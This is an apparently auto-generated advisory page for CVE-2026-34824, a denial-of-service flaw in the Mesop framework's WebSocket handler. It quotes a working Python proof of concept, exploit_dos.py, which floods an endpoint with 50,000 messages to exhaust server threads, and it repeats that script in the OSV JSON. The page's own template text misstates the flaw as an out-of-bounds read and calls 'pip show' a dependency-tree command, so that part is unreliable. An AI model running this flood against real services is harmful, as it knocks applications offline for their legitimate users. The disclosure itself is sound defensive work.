CVE-2026-34824: Mesop Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-3jr7-6hqp-x679
CVSS 7.5
CWE-125 CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-34824 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-125: Out-of-bounds Read) affecting Mesop libraries in the PyPI ecosystem. The issue involves unbounded thread creation in websocket handler leads to denial of service. Remediation is available by upgrading affected packages to version 1.2.5.

CVE-2026-34824 at a Glance

CVE Identifier CVE-2026-34824
GHSA Identifier GHSA-3jr7-6hqp-x679
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-125: Out-of-bounds Read
Affected Product Mesop
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-34824

To remediate this vulnerability, upgrade all affected Mesop dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mesop fixed: 1.2.5
pip install mesop>=1.2.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mesop

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-34824, inspect your installed packages using pip:

pip show mesop

Analyze the terminal output to locate any version of Mesop in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.5), your application is affected.

Note: The pip show mesop command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In Mesop, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. ### Details The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`. There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. *Vulnerable code snippet in `mesop/server/server.py`:* ```python while True: message = ws.receive() if not message: continue # ... message parsing logic ... # VULNERABILITY: Spawning a new thread for every single message without limits thread = threading.Thread( target=copy_current_request_context(ws_generate_data), args=(ws, ui_request), daemon=True, ) thread.start() ``` ### PoC To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint. Prerequisites: Python environment with the `websocket-client library` installed (`pip install websocket-client`). A target Mesop application running locally (e.g., `http://localhost:8080`). Steps to reproduce: Start the target Mesop application. Save the following script as `exploit_dos.py`. Run the script: python `exploit_dos.py`. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes. ``` import websocket import base64 # Replace with the target Mesop application's WebSocket URL TARGET_WS_URL = "ws://localhost:8080/__ui__" # A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` # and Protobuf `ParseFromString` without throwing a parsing exception. EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8') def flood_server(): ws = websocket.WebSocket() try: ws.connect(TARGET_WS_URL) print("[+] Connection established. Initiating thread exhaustion attack...") # Rapidly send 50,000 messages to force the server to spawn 50,000 threads for i in range(50000): ws.send(EMPTY_UI_REQUEST_B64) print("[+] Payloads sent. The server should be unresponsive or crashed by now.") ws.close() except Exception as e: print(f"[-] Connection closed or server crashed: {e}") if __name__ == "__main__": flood_server() ``` ### Impact Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption. Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network. Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users. ### Mitigation (Recommended Fixes): Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads

CVE-2026-34824 Affected Mesop Versions

1 component(s)
Fixed Versions:
1.2.5
Product / Package Ecosystem Affected Versions Fixed Version
mesop
PyPI
≥ 1.2.3
< 1.2.5
1.2.5

References

Frequently Asked Questions

What is CVE-2026-34824?
CVE-2026-34824 is a security vulnerability in Mesop involving Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service under CWE-125: Out-of-bounds Read.
Which Mesop versions are affected?
Affected versions include releases prior to 1.2.5 across affected packages: mesop.
What version fixes CVE-2026-34824?
Upgrading to 1.2.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mesop affected?
Yes, mesop is affected in releases prior to 1.2.5. Upgrade your dependency to 1.2.5 or later.
What is the CVSS score of CVE-2026-34824?
CVE-2026-34824 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-34824?
CVE-2026-34824 is classified under CWE-125: Out-of-bounds Read (The product reads data past the end, or before the beginning, of the intended buffer.).
How can I check PyPI dependencies for CVE-2026-34824?
Run the dependency tree command: 'pip show mesop'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3jr7-6hqp-x679",
  "modified" : "2026-04-06T23:11:36Z",
  "published" : "2026-04-03T21:54:36Z",
  "aliases" : [ "CVE-2026-34824" ],
  "summary" : "Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service",
  "details" : "### Summary\nAn uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.\n\n### Details\nThe vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`.\n\nThere is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. \n\n*Vulnerable code snippet in `mesop/server/server.py`:*\n```python\nwhile True:\n    message = ws.receive()\n    if not message:\n        continue\n    # ... message parsing logic ...\n\n    # VULNERABILITY: Spawning a new thread for every single message without limits\n    thread = threading.Thread(\n        target=copy_current_request_context(ws_generate_data),\n        args=(ws, ui_request),\n        daemon=True,\n    )\n    thread.start()\n```\n### PoC\nTo reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.\n\nPrerequisites:\n\nPython environment with the `websocket-client library` installed (`pip install websocket-client`).\n\nA target Mesop application running locally (e.g., `http://localhost:8080`).\n\nSteps to reproduce:\n\nStart the target Mesop application.\n\nSave the following script as `exploit_dos.py`.\n\nRun the script: python `exploit_dos.py`. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.\n\n```\nimport websocket\nimport base64\n\n# Replace with the target Mesop application's WebSocket URL\nTARGET_WS_URL = \"ws://localhost:8080/__ui__\"\n\n# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` \n# and Protobuf `ParseFromString` without throwing a parsing exception.\nEMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')\n\ndef flood_server():\n    ws = websocket.WebSocket()\n    try:\n        ws.connect(TARGET_WS_URL)\n        print(\"[+] Connection established. Initiating thread exhaustion attack...\")\n        \n        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads\n        for i in range(50000):\n            ws.send(EMPTY_UI_REQUEST_B64)\n            \n        print(\"[+] Payloads sent. The server should be unresponsive or crashed by now.\")\n        ws.close()\n    except Exception as e:\n        print(f\"[-] Connection closed or server crashed: {e}\")\n\nif __name__ == \"__main__\":\n    flood_server()\n```\n### Impact\nVulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.\n\nImpacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.\n\nSeverity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.\n\n### Mitigation (Recommended Fixes):\n\nUse a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)\nIntroduce per-connection rate limiting\nImplement a message queue with backpressure\nConsider migrating to an async event loop model instead of spawning OS threads",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mesop"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.3"
      }, {
        "fixed" : "1.2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34824"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/commit/760a2079b5c609038c826d24dfbcf9b0be98d987"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mesop-dev/mesop"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/releases/tag/v1.2.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125", "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:54:36Z",
    "nvd_published_at" : "2026-04-03T23:17:05Z"
  }
}